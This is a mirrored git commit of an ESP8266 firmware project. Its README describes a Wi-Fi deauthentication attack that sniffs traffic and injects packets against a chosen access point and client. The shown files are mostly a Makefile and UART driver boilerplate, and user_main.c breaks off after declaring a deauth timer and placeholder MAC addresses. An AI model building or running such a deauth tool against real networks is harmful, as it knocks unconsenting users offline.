mirror of
https://github.com/pulkin/esp8266-injection-example.git
synced 2026-02-19 18:21:20 +01:00
first commit
This commit is contained in:
Artem Pulkin
146
Makefile
Normal file
146
Makefile
Normal file
@@ -0,0 +1,146 @@
|
||||
# tnx to mamalala
|
||||
# Changelog
|
||||
# Changed the variables to include the header file directory
|
||||
# Added global var for the XTENSA tool root
|
||||
#
|
||||
# This make file still needs some work.
|
||||
#
|
||||
#
|
||||
# Output directors to store intermediate compiled files
|
||||
# relative to the project directory
|
||||
BUILD_BASE = build
|
||||
FW_BASE = firmware
|
||||
|
||||
# Base directory for the compiler
|
||||
XTENSA_TOOLS_ROOT ?= /opt/Espressif/crosstool-NG/builds/xtensa-lx106-elf/bin
|
||||
|
||||
# base directory of the ESP8266 SDK package, absolute
|
||||
SDK_BASE ?= /opt/Espressif/ESP8266_SDK
|
||||
|
||||
#Esptool.py path and port
|
||||
ESPTOOL ?= esptool.py
|
||||
ESPPORT ?= /dev/ttyUSB0
|
||||
|
||||
# name for the target project
|
||||
TARGET = app
|
||||
|
||||
# which modules (subdirectories) of the project to include in compiling
|
||||
MODULES = driver user
|
||||
EXTRA_INCDIR = include /opt/Espressif/include
|
||||
|
||||
# libraries used in this project, mainly provided by the SDK
|
||||
LIBS = c gcc hal pp phy net80211 lwip wpa main
|
||||
|
||||
# compiler flags using during compilation of source files
|
||||
CFLAGS = -Os -g -O2 -Wpointer-arith -Wundef -Werror -Wl,-EL -fno-inline-functions -nostdlib -mlongcalls -mtext-section-literals -D__ets__ -DICACHE_FLASH
|
||||
|
||||
# linker flags used to generate the main object file
|
||||
LDFLAGS = -nostdlib -Wl,--no-check-sections -u call_user_start -Wl,-static
|
||||
|
||||
# linker script used for the above linkier step
|
||||
LD_SCRIPT = eagle.app.v6.ld
|
||||
|
||||
# various paths from the SDK used in this project
|
||||
SDK_LIBDIR = lib
|
||||
SDK_LDDIR = ld
|
||||
SDK_INCDIR = include include/json
|
||||
|
||||
# we create two different files for uploading into the flash
|
||||
# these are the names and options to generate them
|
||||
FW_FILE_1 = 0x00000
|
||||
FW_FILE_1_ARGS = -bo $@ -bs .text -bs .data -bs .rodata -bc -ec
|
||||
FW_FILE_2 = 0x40000
|
||||
FW_FILE_2_ARGS = -es .irom0.text $@ -ec
|
||||
|
||||
# select which tools to use as compiler, librarian and linker
|
||||
CC := $(XTENSA_TOOLS_ROOT)/xtensa-lx106-elf-gcc
|
||||
AR := $(XTENSA_TOOLS_ROOT)/xtensa-lx106-elf-ar
|
||||
LD := $(XTENSA_TOOLS_ROOT)/xtensa-lx106-elf-gcc
|
||||
|
||||
|
||||
|
||||
####
|
||||
#### no user configurable options below here
|
||||
####
|
||||
FW_TOOL ?= /usr/bin/esptool
|
||||
SRC_DIR := $(MODULES)
|
||||
BUILD_DIR := $(addprefix $(BUILD_BASE)/,$(MODULES))
|
||||
|
||||
SDK_LIBDIR := $(addprefix $(SDK_BASE)/,$(SDK_LIBDIR))
|
||||
SDK_INCDIR := $(addprefix -I$(SDK_BASE)/,$(SDK_INCDIR))
|
||||
|
||||
SRC := $(foreach sdir,$(SRC_DIR),$(wildcard $(sdir)/*.c))
|
||||
OBJ := $(patsubst %.c,$(BUILD_BASE)/%.o,$(SRC))
|
||||
LIBS := $(addprefix -l,$(LIBS))
|
||||
APP_AR := $(addprefix $(BUILD_BASE)/,$(TARGET)_app.a)
|
||||
TARGET_OUT := $(addprefix $(BUILD_BASE)/,$(TARGET).out)
|
||||
|
||||
LD_SCRIPT := $(addprefix -T$(SDK_BASE)/$(SDK_LDDIR)/,$(LD_SCRIPT))
|
||||
|
||||
INCDIR := $(addprefix -I,$(SRC_DIR))
|
||||
EXTRA_INCDIR := $(addprefix -I,$(EXTRA_INCDIR))
|
||||
MODULE_INCDIR := $(addsuffix /include,$(INCDIR))
|
||||
|
||||
FW_FILE_1 := $(addprefix $(FW_BASE)/,$(FW_FILE_1).bin)
|
||||
FW_FILE_2 := $(addprefix $(FW_BASE)/,$(FW_FILE_2).bin)
|
||||
|
||||
V ?= $(VERBOSE)
|
||||
ifeq ("$(V)","1")
|
||||
Q :=
|
||||
vecho := @true
|
||||
else
|
||||
Q := @
|
||||
vecho := @echo
|
||||
endif
|
||||
|
||||
vpath %.c $(SRC_DIR)
|
||||
|
||||
define compile-objects
|
||||
$1/%.o: %.c
|
||||
$(vecho) "CC $$<"
|
||||
$(Q) $(CC) $(INCDIR) $(MODULE_INCDIR) $(EXTRA_INCDIR) $(SDK_INCDIR) $(CFLAGS) -c $$< -o $$@
|
||||
endef
|
||||
|
||||
.PHONY: all checkdirs flash clean
|
||||
|
||||
all: checkdirs $(TARGET_OUT) $(FW_FILE_1) $(FW_FILE_2)
|
||||
|
||||
$(FW_FILE_1): $(TARGET_OUT)
|
||||
$(vecho) "FW $@"
|
||||
$(Q) $(FW_TOOL) -eo $(TARGET_OUT) $(FW_FILE_1_ARGS)
|
||||
|
||||
$(FW_FILE_2): $(TARGET_OUT)
|
||||
$(vecho) "FW $@"
|
||||
$(Q) $(FW_TOOL) -eo $(TARGET_OUT) $(FW_FILE_2_ARGS)
|
||||
|
||||
$(TARGET_OUT): $(APP_AR)
|
||||
$(vecho) "LD $@"
|
||||
$(Q) $(LD) -L$(SDK_LIBDIR) $(LD_SCRIPT) $(LDFLAGS) -Wl,--start-group $(LIBS) $(APP_AR) -Wl,--end-group -o $@
|
||||
|
||||
$(APP_AR): $(OBJ)
|
||||
$(vecho) "AR $@"
|
||||
$(Q) $(AR) cru $@ $^
|
||||
|
||||
checkdirs: $(BUILD_DIR) $(FW_BASE)
|
||||
|
||||
$(BUILD_DIR):
|
||||
$(Q) mkdir -p $@
|
||||
|
||||
firmware:
|
||||
$(Q) mkdir -p $@
|
||||
|
||||
flash: firmware/0x00000.bin firmware/0x40000.bin
|
||||
-$(ESPTOOL) --port $(ESPPORT) write_flash 0x00000 firmware/0x00000.bin 0x40000 firmware/0x40000.bin
|
||||
|
||||
clean:
|
||||
$(Q) rm -f $(APP_AR)
|
||||
$(Q) rm -f $(TARGET_OUT)
|
||||
$(Q) rm -rf $(BUILD_DIR)
|
||||
$(Q) rm -rf $(BUILD_BASE)
|
||||
|
||||
|
||||
$(Q) rm -f $(FW_FILE_1)
|
||||
$(Q) rm -f $(FW_FILE_2)
|
||||
$(Q) rm -rf $(FW_BASE)
|
||||
|
||||
$(foreach bdir,$(BUILD_DIR),$(eval $(call compile-objects,$(bdir))))
|
||||
9
README.md
Normal file
9
README.md
Normal file
@@ -0,0 +1,9 @@
|
||||
# ESP8266 packet injection/sniffer example
|
||||
|
||||
This example project utilizes sniffer capabilities of
|
||||
ESP8266 to perform deauth attack. Minimum SDK
|
||||
requirement is 1.4.0. The communication between the
|
||||
victim and access point (AP) is traced by `wifi_set_promiscuous_rx_cb`
|
||||
while packet injection is performed by `wifi_send_pkt_freedom`.
|
||||
To use the example adjust the Makefile and change MAC
|
||||
addresses in user/user_main.c.
|
||||
44
driver/Makefile
Normal file
44
driver/Makefile
Normal file
@@ -0,0 +1,44 @@
|
||||
|
||||
#############################################################
|
||||
# Required variables for each makefile
|
||||
# Discard this section from all parent makefiles
|
||||
# Expected variables (with automatic defaults):
|
||||
# CSRCS (all "C" files in the dir)
|
||||
# SUBDIRS (all subdirs with a Makefile)
|
||||
# GEN_LIBS - list of libs to be generated ()
|
||||
# GEN_IMAGES - list of images to be generated ()
|
||||
# COMPONENTS_xxx - a list of libs/objs in the form
|
||||
# subdir/lib to be extracted and rolled up into
|
||||
# a generated lib/image xxx.a ()
|
||||
#
|
||||
ifndef PDIR
|
||||
GEN_LIBS = libdriver.a
|
||||
endif
|
||||
|
||||
|
||||
#############################################################
|
||||
# Configuration i.e. compile options etc.
|
||||
# Target specific stuff (defines etc.) goes in here!
|
||||
# Generally values applying to a tree are captured in the
|
||||
# makefile at its root level - these are then overridden
|
||||
# for a subtree within the makefile rooted therein
|
||||
#
|
||||
#DEFINES +=
|
||||
|
||||
#############################################################
|
||||
# Recursion Magic - Don't touch this!!
|
||||
#
|
||||
# Each subtree potentially has an include directory
|
||||
# corresponding to the common APIs applicable to modules
|
||||
# rooted at that subtree. Accordingly, the INCLUDE PATH
|
||||
# of a module can only contain the include directories up
|
||||
# its parent path, and not its siblings
|
||||
#
|
||||
# Required for each makefile to inherit from the parent
|
||||
#
|
||||
|
||||
INCLUDES := $(INCLUDES) -I $(PDIR)include
|
||||
INCLUDES += -I ./
|
||||
PDIR := ../$(PDIR)
|
||||
sinclude $(PDIR)Makefile
|
||||
|
||||
246
driver/uart.c
Normal file
246
driver/uart.c
Normal file
@@ -0,0 +1,246 @@
|
||||
/******************************************************************************
|
||||
* Copyright 2013-2014 Espressif Systems (Wuxi)
|
||||
*
|
||||
* FileName: uart.c
|
||||
*
|
||||
* Description: Two UART mode configration and interrupt handler.
|
||||
* Check your hardware connection while use this mode.
|
||||
*
|
||||
* Modification history:
|
||||
* 2014/3/12, v1.0 create this file.
|
||||
*******************************************************************************/
|
||||
#include "ets_sys.h"
|
||||
#include "osapi.h"
|
||||
#include "driver/uart.h"
|
||||
|
||||
#include "driver/uart_register.h"
|
||||
//#include "ssc.h"
|
||||
//#include "at.h"
|
||||
|
||||
// UartDev is defined and initialized in rom code.
|
||||
extern UartDevice UartDev;
|
||||
//extern os_event_t at_recvTaskQueue[at_recvTaskQueueLen];
|
||||
|
||||
LOCAL void uart0_rx_intr_handler(void *para);
|
||||
|
||||
/******************************************************************************
|
||||
* FunctionName : uart_config
|
||||
* Description : Internal used function
|
||||
* UART0 used for data TX/RX, RX buffer size is 0x100, interrupt enabled
|
||||
* UART1 just used for debug output
|
||||
* Parameters : uart_no, use UART0 or UART1 defined ahead
|
||||
* Returns : NONE
|
||||
*******************************************************************************/
|
||||
LOCAL void ICACHE_FLASH_ATTR
|
||||
uart_config(uint8 uart_no)
|
||||
{
|
||||
if (uart_no == UART1)
|
||||
{
|
||||
PIN_FUNC_SELECT(PERIPHS_IO_MUX_GPIO2_U, FUNC_U1TXD_BK);
|
||||
}
|
||||
else
|
||||
{
|
||||
/* rcv_buff size if 0x100 */
|
||||
ETS_UART_INTR_ATTACH(uart0_rx_intr_handler, &(UartDev.rcv_buff));
|
||||
PIN_PULLUP_DIS(PERIPHS_IO_MUX_U0TXD_U);
|
||||
PIN_FUNC_SELECT(PERIPHS_IO_MUX_U0TXD_U, FUNC_U0TXD);
|
||||
// PIN_FUNC_SELECT(PERIPHS_IO_MUX_MTDO_U, FUNC_U0RTS);
|
||||
}
|
||||
|
||||
uart_div_modify(uart_no, UART_CLK_FREQ / (UartDev.baut_rate));
|
||||
|
||||
WRITE_PERI_REG(UART_CONF0(uart_no), UartDev.exist_parity
|
||||
| UartDev.parity
|
||||
| (UartDev.stop_bits << UART_STOP_BIT_NUM_S)
|
||||
| (UartDev.data_bits << UART_BIT_NUM_S));
|
||||
|
||||
//clear rx and tx fifo,not ready
|
||||
SET_PERI_REG_MASK(UART_CONF0(uart_no), UART_RXFIFO_RST | UART_TXFIFO_RST);
|
||||
CLEAR_PERI_REG_MASK(UART_CONF0(uart_no), UART_RXFIFO_RST | UART_TXFIFO_RST);
|
||||
|
||||
//set rx fifo trigger
|
||||
// WRITE_PERI_REG(UART_CONF1(uart_no),
|
||||
// ((UartDev.rcv_buff.TrigLvl & UART_RXFIFO_FULL_THRHD) << UART_RXFIFO_FULL_THRHD_S) |
|
||||
// ((96 & UART_TXFIFO_EMPTY_THRHD) << UART_TXFIFO_EMPTY_THRHD_S) |
|
||||
// UART_RX_FLOW_EN);
|
||||
if (uart_no == UART0)
|
||||
{
|
||||
//set rx fifo trigger
|
||||
WRITE_PERI_REG(UART_CONF1(uart_no),
|
||||
((0x01 & UART_RXFIFO_FULL_THRHD) << UART_RXFIFO_FULL_THRHD_S) |
|
||||
((0x01 & UART_RX_FLOW_THRHD) << UART_RX_FLOW_THRHD_S) |
|
||||
UART_RX_FLOW_EN);
|
||||
}
|
||||
else
|
||||
{
|
||||
WRITE_PERI_REG(UART_CONF1(uart_no),
|
||||
((UartDev.rcv_buff.TrigLvl & UART_RXFIFO_FULL_THRHD) << UART_RXFIFO_FULL_THRHD_S));
|
||||
}
|
||||
|
||||
//clear all interrupt
|
||||
WRITE_PERI_REG(UART_INT_CLR(uart_no), 0xffff);
|
||||
//enable rx_interrupt
|
||||
SET_PERI_REG_MASK(UART_INT_ENA(uart_no), UART_RXFIFO_FULL_INT_ENA);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
* FunctionName : uart1_tx_one_char
|
||||
* Description : Internal used function
|
||||
* Use uart1 interface to transfer one char
|
||||
* Parameters : uint8 TxChar - character to tx
|
||||
* Returns : OK
|
||||
*******************************************************************************/
|
||||
LOCAL STATUS
|
||||
uart_tx_one_char(uint8 uart, uint8 TxChar)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
uint32 fifo_cnt = READ_PERI_REG(UART_STATUS(uart)) & (UART_TXFIFO_CNT<<UART_TXFIFO_CNT_S);
|
||||
if ((fifo_cnt >> UART_TXFIFO_CNT_S & UART_TXFIFO_CNT) < 126) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
WRITE_PERI_REG(UART_FIFO(uart) , TxChar);
|
||||
return OK;
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
* FunctionName : uart0_write_char
|
||||
* Description : Internal used function
|
||||
* Do some special deal while tx char is '\r' or '\n'
|
||||
* Parameters : char c - character to tx
|
||||
* Returns : NONE
|
||||
*******************************************************************************/
|
||||
LOCAL void ICACHE_FLASH_ATTR
|
||||
uart0_write_char(char c)
|
||||
{
|
||||
if (c == '\n')
|
||||
{
|
||||
uart_tx_one_char(UART0, '\r');
|
||||
uart_tx_one_char(UART0, '\n');
|
||||
}
|
||||
else if (c == '\r')
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
uart_tx_one_char(UART0, c);
|
||||
}
|
||||
}
|
||||
/******************************************************************************
|
||||
* FunctionName : uart0_tx_buffer
|
||||
* Description : use uart0 to transfer buffer
|
||||
* Parameters : uint8 *buf - point to send buffer
|
||||
* uint16 len - buffer len
|
||||
* Returns :
|
||||
*******************************************************************************/
|
||||
void ICACHE_FLASH_ATTR
|
||||
uart0_tx_buffer(uint8 *buf, uint16 len)
|
||||
{
|
||||
uint16 i;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
uart_tx_one_char(UART0, buf[i]);
|
||||
}
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
* FunctionName : uart0_sendStr
|
||||
* Description : use uart0 to transfer buffer
|
||||
* Parameters : uint8 *buf - point to send buffer
|
||||
* uint16 len - buffer len
|
||||
* Returns :
|
||||
*******************************************************************************/
|
||||
void uart0_sendStr(const char *str)
|
||||
{
|
||||
while(*str)
|
||||
{
|
||||
uart_tx_one_char(UART0, *str++);
|
||||
}
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
* FunctionName : uart0_rx_intr_handler
|
||||
* Description : Internal used function
|
||||
* UART0 interrupt handler, add self handle code inside
|
||||
* Parameters : void *para - point to ETS_UART_INTR_ATTACH's arg
|
||||
* Returns : NONE
|
||||
*******************************************************************************/
|
||||
//extern void at_recvTask(void);
|
||||
|
||||
LOCAL void
|
||||
uart0_rx_intr_handler(void *para)
|
||||
{
|
||||
/* uart0 and uart1 intr combine togther, when interrupt occur, see reg 0x3ff20020, bit2, bit0 represents
|
||||
* uart1 and uart0 respectively
|
||||
*/
|
||||
// RcvMsgBuff *pRxBuff = (RcvMsgBuff *)para;
|
||||
// uint8 RcvChar;
|
||||
uint8 uart_no = UART0;//UartDev.buff_uart_no;
|
||||
|
||||
// if (UART_RXFIFO_FULL_INT_ST != (READ_PERI_REG(UART_INT_ST(uart_no)) & UART_RXFIFO_FULL_INT_ST))
|
||||
// {
|
||||
// return;
|
||||
// }
|
||||
if (UART_RXFIFO_FULL_INT_ST == (READ_PERI_REG(UART_INT_ST(uart_no)) & UART_RXFIFO_FULL_INT_ST))
|
||||
{
|
||||
//at_recvTask();
|
||||
WRITE_PERI_REG(UART_INT_CLR(uart_no), UART_RXFIFO_FULL_INT_CLR);
|
||||
}
|
||||
|
||||
// WRITE_PERI_REG(UART_INT_CLR(uart_no), UART_RXFIFO_FULL_INT_CLR);
|
||||
|
||||
// if (READ_PERI_REG(UART_STATUS(uart_no)) & (UART_RXFIFO_CNT << UART_RXFIFO_CNT_S))
|
||||
// {
|
||||
// RcvChar = READ_PERI_REG(UART_FIFO(uart_no)) & 0xFF;
|
||||
// at_recvTask();
|
||||
// *(pRxBuff->pWritePos) = RcvChar;
|
||||
|
||||
// system_os_post(at_recvTaskPrio, NULL, RcvChar);
|
||||
|
||||
// //insert here for get one command line from uart
|
||||
// if (RcvChar == '\r')
|
||||
// {
|
||||
// pRxBuff->BuffState = WRITE_OVER;
|
||||
// }
|
||||
//
|
||||
// pRxBuff->pWritePos++;
|
||||
//
|
||||
// if (pRxBuff->pWritePos == (pRxBuff->pRcvMsgBuff + RX_BUFF_SIZE))
|
||||
// {
|
||||
// // overflow ...we may need more error handle here.
|
||||
// pRxBuff->pWritePos = pRxBuff->pRcvMsgBuff ;
|
||||
// }
|
||||
// }
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
* FunctionName : uart_init
|
||||
* Description : user interface for init uart
|
||||
* Parameters : UartBautRate uart0_br - uart0 bautrate
|
||||
* UartBautRate uart1_br - uart1 bautrate
|
||||
* Returns : NONE
|
||||
*******************************************************************************/
|
||||
void ICACHE_FLASH_ATTR
|
||||
uart_init(UartBautRate uart0_br, UartBautRate uart1_br)
|
||||
{
|
||||
// rom use 74880 baut_rate, here reinitialize
|
||||
UartDev.baut_rate = uart0_br;
|
||||
uart_config(UART0);
|
||||
UartDev.baut_rate = uart1_br;
|
||||
uart_config(UART1);
|
||||
ETS_UART_INTR_ENABLE();
|
||||
|
||||
// install uart1 putc callback
|
||||
os_install_putc1((void *)uart0_write_char);
|
||||
}
|
||||
|
||||
void ICACHE_FLASH_ATTR
|
||||
uart_reattach()
|
||||
{
|
||||
uart_init(BIT_RATE_74880, BIT_RATE_74880);
|
||||
// ETS_UART_INTR_ATTACH(uart_rx_intr_handler_ssc, &(UartDev.rcv_buff));
|
||||
// ETS_UART_INTR_ENABLE();
|
||||
}
|
||||
101
include/driver/uart.h
Normal file
101
include/driver/uart.h
Normal file
@@ -0,0 +1,101 @@
|
||||
#ifndef UART_APP_H
|
||||
#define UART_APP_H
|
||||
|
||||
#include "uart_register.h"
|
||||
#include "eagle_soc.h"
|
||||
#include "c_types.h"
|
||||
|
||||
#define RX_BUFF_SIZE 256
|
||||
#define TX_BUFF_SIZE 100
|
||||
#define UART0 0
|
||||
#define UART1 1
|
||||
|
||||
typedef enum {
|
||||
FIVE_BITS = 0x0,
|
||||
SIX_BITS = 0x1,
|
||||
SEVEN_BITS = 0x2,
|
||||
EIGHT_BITS = 0x3
|
||||
} UartBitsNum4Char;
|
||||
|
||||
typedef enum {
|
||||
ONE_STOP_BIT = 0,
|
||||
ONE_HALF_STOP_BIT = BIT2,
|
||||
TWO_STOP_BIT = BIT2
|
||||
} UartStopBitsNum;
|
||||
|
||||
typedef enum {
|
||||
NONE_BITS = 0,
|
||||
ODD_BITS = 0,
|
||||
EVEN_BITS = BIT4
|
||||
} UartParityMode;
|
||||
|
||||
typedef enum {
|
||||
STICK_PARITY_DIS = 0,
|
||||
STICK_PARITY_EN = BIT3 | BIT5
|
||||
} UartExistParity;
|
||||
|
||||
typedef enum {
|
||||
BIT_RATE_9600 = 9600,
|
||||
BIT_RATE_19200 = 19200,
|
||||
BIT_RATE_38400 = 38400,
|
||||
BIT_RATE_57600 = 57600,
|
||||
BIT_RATE_74880 = 74880,
|
||||
BIT_RATE_115200 = 115200,
|
||||
BIT_RATE_230400 = 230400,
|
||||
BIT_RATE_460800 = 460800,
|
||||
BIT_RATE_921600 = 921600
|
||||
} UartBautRate;
|
||||
|
||||
typedef enum {
|
||||
NONE_CTRL,
|
||||
HARDWARE_CTRL,
|
||||
XON_XOFF_CTRL
|
||||
} UartFlowCtrl;
|
||||
|
||||
typedef enum {
|
||||
EMPTY,
|
||||
UNDER_WRITE,
|
||||
WRITE_OVER
|
||||
} RcvMsgBuffState;
|
||||
|
||||
typedef struct {
|
||||
uint32 RcvBuffSize;
|
||||
uint8 *pRcvMsgBuff;
|
||||
uint8 *pWritePos;
|
||||
uint8 *pReadPos;
|
||||
uint8 TrigLvl; //JLU: may need to pad
|
||||
RcvMsgBuffState BuffState;
|
||||
} RcvMsgBuff;
|
||||
|
||||
typedef struct {
|
||||
uint32 TrxBuffSize;
|
||||
uint8 *pTrxBuff;
|
||||
} TrxMsgBuff;
|
||||
|
||||
typedef enum {
|
||||
BAUD_RATE_DET,
|
||||
WAIT_SYNC_FRM,
|
||||
SRCH_MSG_HEAD,
|
||||
RCV_MSG_BODY,
|
||||
RCV_ESC_CHAR,
|
||||
} RcvMsgState;
|
||||
|
||||
typedef struct {
|
||||
UartBautRate baut_rate;
|
||||
UartBitsNum4Char data_bits;
|
||||
UartExistParity exist_parity;
|
||||
UartParityMode parity; // chip size in byte
|
||||
UartStopBitsNum stop_bits;
|
||||
UartFlowCtrl flow_ctrl;
|
||||
RcvMsgBuff rcv_buff;
|
||||
TrxMsgBuff trx_buff;
|
||||
RcvMsgState rcv_state;
|
||||
int received;
|
||||
int buff_uart_no; //indicate which uart use tx/rx buffer
|
||||
} UartDevice;
|
||||
|
||||
void uart_init(UartBautRate uart0_br, UartBautRate uart1_br);
|
||||
void uart0_sendStr(const char *str);
|
||||
|
||||
#endif
|
||||
|
||||
128
include/driver/uart_register.h
Normal file
128
include/driver/uart_register.h
Normal file
@@ -0,0 +1,128 @@
|
||||
//Generated at 2012-07-03 18:44:06
|
||||
/*
|
||||
* Copyright (c) 2010 - 2011 Espressif System
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef UART_REGISTER_H_INCLUDED
|
||||
#define UART_REGISTER_H_INCLUDED
|
||||
#define REG_UART_BASE( i ) (0x60000000+(i)*0xf00)
|
||||
//version value:32'h062000
|
||||
|
||||
#define UART_FIFO( i ) (REG_UART_BASE( i ) + 0x0)
|
||||
#define UART_RXFIFO_RD_BYTE 0x000000FF
|
||||
#define UART_RXFIFO_RD_BYTE_S 0
|
||||
|
||||
#define UART_INT_RAW( i ) (REG_UART_BASE( i ) + 0x4)
|
||||
#define UART_RXFIFO_TOUT_INT_RAW (BIT(8))
|
||||
#define UART_BRK_DET_INT_RAW (BIT(7))
|
||||
#define UART_CTS_CHG_INT_RAW (BIT(6))
|
||||
#define UART_DSR_CHG_INT_RAW (BIT(5))
|
||||
#define UART_RXFIFO_OVF_INT_RAW (BIT(4))
|
||||
#define UART_FRM_ERR_INT_RAW (BIT(3))
|
||||
#define UART_PARITY_ERR_INT_RAW (BIT(2))
|
||||
#define UART_TXFIFO_EMPTY_INT_RAW (BIT(1))
|
||||
#define UART_RXFIFO_FULL_INT_RAW (BIT(0))
|
||||
|
||||
#define UART_INT_ST( i ) (REG_UART_BASE( i ) + 0x8)
|
||||
#define UART_RXFIFO_TOUT_INT_ST (BIT(8))
|
||||
#define UART_BRK_DET_INT_ST (BIT(7))
|
||||
#define UART_CTS_CHG_INT_ST (BIT(6))
|
||||
#define UART_DSR_CHG_INT_ST (BIT(5))
|
||||
#define UART_RXFIFO_OVF_INT_ST (BIT(4))
|
||||
#define UART_FRM_ERR_INT_ST (BIT(3))
|
||||
#define UART_PARITY_ERR_INT_ST (BIT(2))
|
||||
#define UART_TXFIFO_EMPTY_INT_ST (BIT(1))
|
||||
#define UART_RXFIFO_FULL_INT_ST (BIT(0))
|
||||
|
||||
#define UART_INT_ENA( i ) (REG_UART_BASE( i ) + 0xC)
|
||||
#define UART_RXFIFO_TOUT_INT_ENA (BIT(8))
|
||||
#define UART_BRK_DET_INT_ENA (BIT(7))
|
||||
#define UART_CTS_CHG_INT_ENA (BIT(6))
|
||||
#define UART_DSR_CHG_INT_ENA (BIT(5))
|
||||
#define UART_RXFIFO_OVF_INT_ENA (BIT(4))
|
||||
#define UART_FRM_ERR_INT_ENA (BIT(3))
|
||||
#define UART_PARITY_ERR_INT_ENA (BIT(2))
|
||||
#define UART_TXFIFO_EMPTY_INT_ENA (BIT(1))
|
||||
#define UART_RXFIFO_FULL_INT_ENA (BIT(0))
|
||||
|
||||
#define UART_INT_CLR( i ) (REG_UART_BASE( i ) + 0x10)
|
||||
#define UART_RXFIFO_TOUT_INT_CLR (BIT(8))
|
||||
#define UART_BRK_DET_INT_CLR (BIT(7))
|
||||
#define UART_CTS_CHG_INT_CLR (BIT(6))
|
||||
#define UART_DSR_CHG_INT_CLR (BIT(5))
|
||||
#define UART_RXFIFO_OVF_INT_CLR (BIT(4))
|
||||
#define UART_FRM_ERR_INT_CLR (BIT(3))
|
||||
#define UART_PARITY_ERR_INT_CLR (BIT(2))
|
||||
#define UART_TXFIFO_EMPTY_INT_CLR (BIT(1))
|
||||
#define UART_RXFIFO_FULL_INT_CLR (BIT(0))
|
||||
|
||||
#define UART_CLKDIV( i ) (REG_UART_BASE( i ) + 0x14)
|
||||
#define UART_CLKDIV_CNT 0x000FFFFF
|
||||
#define UART_CLKDIV_S 0
|
||||
|
||||
#define UART_AUTOBAUD( i ) (REG_UART_BASE( i ) + 0x18)
|
||||
#define UART_GLITCH_FILT 0x000000FF
|
||||
#define UART_GLITCH_FILT_S 8
|
||||
#define UART_AUTOBAUD_EN (BIT(0))
|
||||
|
||||
#define UART_STATUS( i ) (REG_UART_BASE( i ) + 0x1C)
|
||||
#define UART_TXD (BIT(31))
|
||||
#define UART_RTSN (BIT(30))
|
||||
#define UART_DTRN (BIT(29))
|
||||
#define UART_TXFIFO_CNT 0x000000FF
|
||||
#define UART_TXFIFO_CNT_S 16
|
||||
#define UART_RXD (BIT(15))
|
||||
#define UART_CTSN (BIT(14))
|
||||
#define UART_DSRN (BIT(13))
|
||||
#define UART_RXFIFO_CNT 0x000000FF
|
||||
#define UART_RXFIFO_CNT_S 0
|
||||
|
||||
#define UART_CONF0( i ) (REG_UART_BASE( i ) + 0x20)
|
||||
#define UART_TXFIFO_RST (BIT(18))
|
||||
#define UART_RXFIFO_RST (BIT(17))
|
||||
#define UART_IRDA_EN (BIT(16))
|
||||
#define UART_TX_FLOW_EN (BIT(15))
|
||||
#define UART_LOOPBACK (BIT(14))
|
||||
#define UART_IRDA_RX_INV (BIT(13))
|
||||
#define UART_IRDA_TX_INV (BIT(12))
|
||||
#define UART_IRDA_WCTL (BIT(11))
|
||||
#define UART_IRDA_TX_EN (BIT(10))
|
||||
#define UART_IRDA_DPLX (BIT(9))
|
||||
#define UART_TXD_BRK (BIT(8))
|
||||
#define UART_SW_DTR (BIT(7))
|
||||
#define UART_SW_RTS (BIT(6))
|
||||
#define UART_STOP_BIT_NUM 0x00000003
|
||||
#define UART_STOP_BIT_NUM_S 4
|
||||
#define UART_BIT_NUM 0x00000003
|
||||
#define UART_BIT_NUM_S 2
|
||||
#define UART_PARITY_EN (BIT(1))
|
||||
#define UART_PARITY (BIT(0))
|
||||
|
||||
#define UART_CONF1( i ) (REG_UART_BASE( i ) + 0x24)
|
||||
#define UART_RX_TOUT_EN (BIT(31))
|
||||
#define UART_RX_TOUT_THRHD 0x0000007F
|
||||
#define UART_RX_TOUT_THRHD_S 24
|
||||
#define UART_RX_FLOW_EN (BIT(23))
|
||||
#define UART_RX_FLOW_THRHD 0x0000007F
|
||||
#define UART_RX_FLOW_THRHD_S 16
|
||||
#define UART_TXFIFO_EMPTY_THRHD 0x0000007F
|
||||
#define UART_TXFIFO_EMPTY_THRHD_S 8
|
||||
#define UART_RXFIFO_FULL_THRHD 0x0000007F
|
||||
#define UART_RXFIFO_FULL_THRHD_S 0
|
||||
|
||||
#define UART_LOWPULSE( i ) (REG_UART_BASE( i ) + 0x28)
|
||||
#define UART_LOWPULSE_MIN_CNT 0x000FFFFF
|
||||
#define UART_LOWPULSE_MIN_CNT_S 0
|
||||
|
||||
#define UART_HIGHPULSE( i ) (REG_UART_BASE( i ) + 0x2C)
|
||||
#define UART_HIGHPULSE_MIN_CNT 0x000FFFFF
|
||||
#define UART_HIGHPULSE_MIN_CNT_S 0
|
||||
|
||||
#define UART_PULSE_NUM( i ) (REG_UART_BASE( i ) + 0x30)
|
||||
#define UART_PULSE_NUM_CNT 0x0003FF
|
||||
#define UART_PULSE_NUM_CNT_S 0
|
||||
|
||||
#define UART_DATE( i ) (REG_UART_BASE( i ) + 0x78)
|
||||
#define UART_ID( i ) (REG_UART_BASE( i ) + 0x7C)
|
||||
#endif // UART_REGISTER_H_INCLUDED
|
||||
1
user/user_config.h
Normal file
1
user/user_config.h
Normal file
@@ -0,0 +1 @@
|
||||
#define CHANNEL_HOP_INTERVAL 5000
|
||||
168
user/user_main.c
Normal file
168
user/user_main.c
Normal file
@@ -0,0 +1,168 @@
|
||||
#include "ets_sys.h"
|
||||
#include "osapi.h"
|
||||
#include "gpio.h"
|
||||
#include "os_type.h"
|
||||
#include "mem.h"
|
||||
#include "user_config.h"
|
||||
#include "user_interface.h"
|
||||
#include "driver/uart.h"
|
||||
|
||||
#define user_procTaskPrio 0
|
||||
#define user_procTaskQueueLen 1
|
||||
os_event_t user_procTaskQueue[user_procTaskQueueLen];
|
||||
static volatile os_timer_t deauth_timer;
|
||||
|
||||
// Channel to perform deauth
|
||||
uint8_t channel = 1;
|
||||
|
||||
// Access point MAC to deauth
|
||||
uint8_t ap[6] = {0x00,0x01,0x02,0x03,0x04,0x05};
|
||||
|
||||
// Client MAC to deauth
|
||||
